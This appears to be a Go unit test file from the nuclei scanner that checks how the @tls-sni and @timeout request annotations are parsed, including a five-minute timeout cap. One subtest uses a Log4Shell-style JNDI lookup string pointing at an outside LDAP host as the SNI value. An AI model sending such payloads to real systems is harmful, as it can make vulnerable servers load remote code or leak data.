Path: blob/dev/pkg/protocols/http/request_annotations_test.go
2843 views
package http12import (3"context"4"net/http"5"testing"6"time"78"github.com/projectdiscovery/gologger"9"github.com/projectdiscovery/nuclei/v3/pkg/protocols"10"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool"11"github.com/projectdiscovery/nuclei/v3/pkg/testutils"12"github.com/projectdiscovery/retryablehttp-go"13"github.com/stretchr/testify/require"14)1516func getExecuterOptions(t *testing.T) *protocols.ExecutorOptions {17t.Helper()1819options := testutils.DefaultOptions.Copy()20options.Logger = &gologger.Logger{}21testutils.Init(options)2223return testutils.NewMockExecuterOptions(options, nil)24}2526func TestRequestParseAnnotationsSNI(t *testing.T) {27t.Run("compliant-SNI-value", func(t *testing.T) {28req := &Request{connConfiguration: &httpclientpool.Configuration{}}29rawRequest := `@tls-sni: github.com30GET / HTTP/1.131Host: {{Hostname}}`3233httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)34require.Nil(t, err, "could not create http request")3536overrides, modified := req.parseAnnotations(rawRequest, httpReq)37require.True(t, modified, "could not apply request annotations")38require.Equal(t, "github.com", overrides.request.TLS.ServerName)39require.Equal(t, "example.com", overrides.request.Host)40})41t.Run("non-compliant-SNI-value", func(t *testing.T) {42req := &Request{connConfiguration: &httpclientpool.Configuration{}}43rawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}44GET / HTTP/1.145Host: {{Hostname}}`4647httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)48require.Nil(t, err, "could not create http request")4950overrides, modified := req.parseAnnotations(rawRequest, httpReq)51require.True(t, modified, "could not apply request annotations")52require.Equal(t, "${jndi:ldap://${hostName}.test.com}", overrides.request.TLS.ServerName)53require.Equal(t, "example.com", overrides.request.Host)54})55}5657func TestRequestParseAnnotationsTimeout(t *testing.T) {58t.Run("positive", func(t *testing.T) {59request := &Request{60options: getExecuterOptions(t),61connConfiguration: &httpclientpool.Configuration{NoTimeout: true},62}63rawRequest := `@timeout: 2s64GET / HTTP/1.165Host: {{Hostname}}`6667httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)68require.Nil(t, err, "could not create http request")6970overrides, modified := request.parseAnnotations(rawRequest, httpReq)71require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")72require.True(t, modified, "could not get correct modified value")7374// Verify context has deadline75deadline, deadlined := overrides.request.Context().Deadline()76require.True(t, deadlined, "could not get set request deadline")7778// Verify the timeout value is stored in context79customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)80require.True(t, ok, "custom timeout not found in context")81require.Equal(t, 2*time.Second, customTimeout.Timeout, "timeout value mismatch")8283// Verify deadline is approximately 2 seconds from now84expectedDeadline := time.Now().Add(2 * time.Second)85require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set correctly")86})8788t.Run("large-timeout", func(t *testing.T) {89request := &Request{90options: getExecuterOptions(t),91connConfiguration: &httpclientpool.Configuration{NoTimeout: true},92}9394// Request a timeout of 10 minutes - should be capped at 5 minutes95rawRequest := `@timeout: 10m96GET / HTTP/1.197Host: {{Hostname}}`9899httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)100require.Nil(t, err, "could not create http request")101102overrides, modified := request.parseAnnotations(rawRequest, httpReq)103require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")104require.True(t, modified, "could not get correct modified value")105106// Verify context has deadline107deadline, deadlined := overrides.request.Context().Deadline()108require.True(t, deadlined, "could not get set request deadline")109110// Verify the timeout was capped at 5 minutes (not 10 minutes)111customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)112require.True(t, ok, "custom timeout not found in context")113114require.Equal(t, 5*time.Minute, customTimeout.Timeout, "timeout should be capped at 5 minutes")115require.Less(t, customTimeout.Timeout, 10*time.Minute, "timeout should be less than requested 10 minutes")116117// Verify deadline matches the capped timeout118expectedDeadline := time.Now().Add(5 * time.Minute)119require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set to capped timeout")120})121122t.Run("below-cap-timeout", func(t *testing.T) {123request := &Request{124options: getExecuterOptions(t),125connConfiguration: &httpclientpool.Configuration{NoTimeout: true},126}127128// Request a timeout of 2 minutes - should be allowed (below 5 minute cap)129rawRequest := `@timeout: 2m130GET / HTTP/1.1131Host: {{Hostname}}`132133httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)134require.Nil(t, err, "could not create http request")135136overrides, modified := request.parseAnnotations(rawRequest, httpReq)137require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")138require.True(t, modified, "could not get correct modified value")139140// Verify context has deadline141deadline, deadlined := overrides.request.Context().Deadline()142require.True(t, deadlined, "could not get set request deadline")143144// Verify the timeout is NOT capped - should be 2 minutes145customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)146require.True(t, ok, "custom timeout not found in context")147148require.Equal(t, 2*time.Minute, customTimeout.Timeout, "timeout should be the requested 2 minutes")149150// Verify deadline matches the requested timeout151expectedDeadline := time.Now().Add(2 * time.Minute)152require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set to requested timeout")153})154155t.Run("negative", func(t *testing.T) {156request := &Request{157options: getExecuterOptions(t),158connConfiguration: &httpclientpool.Configuration{},159}160rawRequest := `GET / HTTP/1.1161Host: {{Hostname}}`162163httpReq, err := retryablehttp.NewRequestWithContext(context.Background(), http.MethodGet, "https://example.com", nil)164require.Nil(t, err, "could not create http request")165166newRequestWithOverrides, modified := request.parseAnnotations(rawRequest, httpReq)167require.Nil(t, newRequestWithOverrides.cancelFunc, "cancel function should be nil")168require.False(t, modified, "could not get correct modified value")169_, deadlined := newRequestWithOverrides.request.Context().Deadline()170require.False(t, deadlined, "could not get set request deadline")171})172}173174175